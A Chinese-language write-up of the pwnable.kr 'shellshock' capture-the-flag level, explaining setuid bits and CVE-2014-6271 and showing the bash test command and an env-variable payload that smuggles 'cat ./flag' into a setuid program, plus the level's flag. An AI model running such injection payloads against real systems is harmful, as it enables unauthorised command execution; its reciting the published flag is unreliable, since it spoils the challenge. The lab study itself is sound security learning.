pwnable.kr-shellshock 这一关仅仅是帮助我们复现shellshock漏洞的。

题目分析

根据所给信息

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

连接远程环境,下载 C 文件和二进制文件。

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

但是它额外给了一个 bash,通过查看bash版本号,可以发现和用的还是有一点差别的,--version 输出版本号为 GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)

思路

很明显,C文件仅仅给了一个提权的操作,可以使用 ls -l 看看整个文件的一个权限列表:

很明显我们是需要通过 shellshock 去提 shellshock_pwn 用户的权限,因为 shellshock 属组带 s 权限位。

s 权限位:

如果可执行文件携带了 s 权限位,在执行的时候会以所有者的身份启动这个进程。

在Linux早期的版本中,这个s权限位会影响由它产生的一系列子进程。但是在一些发行版当中,可能是认为这个操作太危险了,因此加了一个检测,如果这个进程fork产生出新的子进程,那么继承运行本进程的用户权限。

这也就是为什么我们自己现在的环境不能像pwnable.kr那样配置,如果这样配置 system 函数 fork 产生新的进程依然不会继承 s 权限,这跟 shell 有关,如果我们下载 pwnable 的 bash,并把用户的启动 shell 设置为那个 shell,就可以达到效果。

现在的普遍版本中,如果要告诉 shell 我们希望这个程序 fork 出的子进程依然继承属主权限需要主动调用 setuid,但是这个系统调用只有 root 能用。

CVE-2014-6271概述

2014年绝对算是安全史上最重量级的一年,这一年连续爆出多个影响范围极广的漏洞。有著名的 SSL 心脏滴血漏洞,另外一个就是这个 shellshock。SSL广泛应用于现在的网站,而 bash 在几乎所有的Linux发行版都有安装,甚至包括安卓手机。

漏洞探究

根据网上的信息,我们可以得到该漏洞的一条验证命令。

1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

刚好我们可以通过 pwnable.kr 提供的 bash 文件来作复现。

可以发现是存在这个漏洞的,env 命令用于临时创建一个环境变量。

如果环境变量以 (){ 开头的话,会被当作函数导入,会直接执行这个定义,当然连带后面的命令一起被执行。

因此本关的做法就是,定义如上的环境变量,使用 ./shellshock 获取 shellshock_pwn 用户的权限,然后再执行获取 flag 的命令即可,对上面的 poc 稍加修改,变成:

1
env p='() { :;}; cat ./flag' ./bash -c "./shellshock"

flag:only if I knew CVE-2014-6271 ten years ago..!!